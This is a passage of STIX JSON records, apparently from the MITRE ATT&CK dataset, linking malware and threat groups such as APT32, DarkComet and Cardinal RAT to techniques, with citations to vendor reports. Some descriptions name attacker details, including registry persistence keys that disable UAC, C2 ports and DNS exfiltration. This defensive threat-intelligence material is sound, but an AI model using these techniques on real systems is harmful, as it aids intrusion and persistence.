            "id": "relationship--c29136ea-6925-4fc5-a281-b5351cef050d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) checks the running processes for evidence it may be running in a sandbox environment. It specifically enumerates processes for Wireshark and Sysinternals.(Citation: Unit 42 DarkHydrus July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                }
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-24T23:55:43.451Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4477e350-645d-40de-8de7-7a6e1680c2e0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) uses [Cobalt Strike](https://attack.mitre.org/software/S0154)'s malleable C2 functionality to blend in with network traffic.(Citation: FireEye APT32 May 2017)(Citation: GitHub Malleable C2)(Citation: Cybereason Cobalt Kitty 2017) The group's backdoor can also exfiltrate data by encoding it in the subdomain field of DNS packets.(Citation: ESET OceanLotus Mar 2019) Additionally, one of the group's macOS backdoors implements a specific format for the C2 packet involving random values.(Citation: ESET OceanLotus macOS April 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                },
                {
                    "source_name": "GitHub Malleable C2",
                    "description": "Mudge, R. (2014, July 14). Github Malleable-C2-Profiles safebrowsing.profile. Retrieved June 18, 2017.",
                    "url": "https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                },
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                },
                {
                    "source_name": "ESET OceanLotus macOS April 2019",
                    "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/",
                    "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.440Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fee82671-3bba-48c7-bef8-63b2b2bb0fa7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZeroT](https://attack.mitre.org/software/S0230) has encrypted its payload with RC4.(Citation: Proofpoint ZeroT Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T02:54:39.800Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3f780c76-b5d5-43f9-b4f2-048106f00894",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
            "relationship_type": "uses",
            "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "external_references": [
                {
                    "source_name": "Bizeul 2014",
                    "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.",
                    "url": "https://airbus-cyber-security.com/the-eye-of-the-tiger/"
                },
                {
                    "source_name": "Villeneuve 2014",
                    "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html"
                }
            ],
            "description": "(Citation: Bizeul 2014)(Citation: Villeneuve 2014)",
            "type": "relationship",
            "modified": "2020-03-16T18:54:08.836Z",
            "created": "2017-05-31T21:33:27.047Z"
        },
        {
            "id": "relationship--66625422-17cd-4b04-beb5-fa2eabe350ad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) copies and exfiltrates the clipboard contents every 30 seconds.(Citation: F-Secure Cosmicduke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2020-03-16T16:36:13.651Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9663d78b-0a81-42af-93b0-8e62cc3af2d7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) copies itself over network shares to move laterally on a victim network.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2020-03-18T00:52:19.001Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--865a5b25-6908-4ad9-a81d-33f3cf48e357",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) uses HTTP POST requests with data formatted using a custom protocol.(Citation: ESET RTM Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-05-12T22:13:17.041Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can hook GetClipboardData function to watch for clipboard pastes to collect.(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--ce378e64-5802-4751-8b8e-d7bf68ce4c6a",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.185Z",
            "created": "2019-01-29T17:59:44.527Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html",
                    "source_name": "Talos Agent Tesla Oct 2018"
                },
                {
                    "source_name": "DigiTrust Agent Tesla Jan 2017",
                    "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/",
                    "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."
                },
                {
                    "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.",
                    "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html",
                    "source_name": "Fortinet Agent Tesla April 2018"
                },
                {
                    "source_name": "Fortinet Agent Tesla June 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html",
                    "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Bitdefender Agent Tesla April 2020",
                    "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/",
                    "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can capture screenshots of the victim\u2019s desktop.(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla April 2018)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)",
            "id": "relationship--08109d9e-3258-4b9b-8e1d-ea90d05c18b9",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-05-20T13:38:07.325Z",
            "created": "2019-01-29T18:44:04.958Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Riskiq Remcos Jan 2018",
                    "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/",
                    "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) can search for files on the infected machine.(Citation: Riskiq Remcos Jan 2018)",
            "id": "relationship--cafaa08a-1f40-40cb-a3fd-c507a1cc6e40",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-19T14:39:53.078Z",
            "created": "2019-01-29T18:55:20.966Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET",
                    "source_name": "TrendMicro DarkComet Sept 2014"
                },
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) adds a Registry value for its installation routine to the Registry Key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System Enable LUA=\u201d0\u201d</code> and <code>HKEY_CURRENT_USER\\Software\\DC3_FEXEC</code>.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)",
            "id": "relationship--c88e7db9-47b1-4fe9-943a-98ebde29980b",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-06-04T19:40:43.666Z",
            "created": "2019-01-29T19:18:28.818Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                },
                {
                    "source_name": "PaloAlto NanoCore Feb 2016",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/",
                    "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."
                }
            ],
            "description": "[NanoCore](https://attack.mitre.org/software/S0336) communicates to its C2 over ports 6666 and 4782.(Citation: Unit 42 Gorgon Group Aug 2018)(Citation: PaloAlto NanoCore Feb 2016)",
            "id": "relationship--f05d6d7d-74c7-4688-bc3f-8bdb9dd707e6",
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "type": "relationship",
            "modified": "2019-04-17T20:47:23.949Z",
            "created": "2019-01-29T20:05:36.523Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--b56a1198-e23a-48f4-9744-7a6f087b79a3",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "(Citation: FireEye APT38 Oct 2018)",
            "type": "relationship",
            "modified": "2019-09-09T19:10:53.558Z",
            "created": "2019-01-29T21:27:25.294Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Cobian Aug 2017",
                    "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat",
                    "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018."
                }
            ],
            "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) obfuscates communications with the C2 server using Base64 encoding.(Citation: Zscaler Cobian Aug 2017)",
            "id": "relationship--a70a6fbd-379d-4104-8323-ce25a950c892",
            "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T22:39:14.412Z",
            "created": "2019-01-29T21:40:37.640Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Accenture Dragonfish Jan 2018",
                    "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf",
                    "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018."
                }
            ],
            "description": "[Elise](https://attack.mitre.org/software/S0081) is capable of launching a remote shell on the host to delete itself.(Citation: Accenture Dragonfish Jan 2018)",
            "id": "relationship--ad595353-854a-4e2d-b569-7cbe7130015d",
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-04-17T22:12:24.931Z",
            "created": "2019-01-29T21:57:39.524Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) collects a list of running processes.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--058c67f3-9345-42be-a433-a4cea314d26d",
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-17T01:16:25.996Z",
            "created": "2019-01-30T13:42:09.638Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/",
                    "source_name": "PaloAlto DNS Requests May 2016"
                },
                {
                    "source_name": "Anomali Evasive Maneuvers July 2015",
                    "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop",
                    "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018."
                }
            ],
            "description": "[APT18](https://attack.mitre.org/groups/G0026) uses cmd.exe to execute commands on the victim\u2019s machine.(Citation: PaloAlto DNS Requests May 2016)(Citation: Anomali Evasive Maneuvers July 2015)",
            "id": "relationship--e453cf75-0df0-45e5-a5ce-e0984bf864f8",
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T18:44:56.501Z",
            "created": "2019-01-30T14:00:49.896Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
                    "source_name": "ESET TeleBots Oct 2018"
                }
            ],
            "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) adds the configuration to the Registry in XML format.(Citation: ESET TeleBots Oct 2018)",
            "id": "relationship--ab11615f-a0d9-43c9-b71e-6ae83155bf3b",
            "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-09-04T23:04:50.167Z",
            "created": "2019-01-30T15:10:04.241Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "[APT1](https://attack.mitre.org/groups/G0006) used the commands <code>net start</code> and <code>tasklist</code> to get a listing of the services on the system.(Citation: Mandiant APT1)",
            "id": "relationship--f9c7127d-2a27-4dcf-bef5-9150a6c4334d",
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.342Z",
            "created": "2019-01-30T15:33:07.459Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Oceansalt Oct 2018",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."
                }
            ],
            "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can collect the computer name from the system.(Citation: McAfee Oceansalt Oct 2018)",
            "id": "relationship--88d53468-4ab8-455e-bd16-dc52ef9a3d96",
            "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-02-12T21:14:11.278Z",
            "created": "2019-01-30T15:43:19.431Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) sets <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load</code> to point to its executable.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--d7983dcd-1970-4d84-82e7-a61d2125caeb",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.807Z",
            "created": "2019-01-30T16:39:54.476Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec MuddyWater Dec 2018",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has run a tool that steals passwords saved in victim email.(Citation: Symantec MuddyWater Dec 2018)",
            "id": "relationship--ee05131d-83bd-4eb5-b6c1-0f6925045b95",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "type": "relationship",
            "modified": "2019-06-28T15:30:58.853Z",
            "created": "2019-01-30T17:33:40.945Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "source_name": "McAfee Night Dragon"
                }
            ],
            "description": "[zwShell](https://attack.mitre.org/software/S0350) has deleted itself after creating a service as well as deleted a temporary file when the system reboots.(Citation: McAfee Night Dragon)",
            "id": "relationship--49c54595-7740-40c9-8f12-68d8fd70ce9d",
            "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-16T16:07:39.149Z",
            "created": "2019-01-30T17:48:35.644Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--0608a4e2-575d-4a2b-9ab4-b85d6d12450b",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952",
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "(Citation: McAfee Night Dragon)",
            "type": "relationship",
            "modified": "2019-03-25T14:36:29.995Z",
            "created": "2019-01-30T18:02:59.516Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--5f402d02-94f9-49de-b097-2d89c59de394",
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
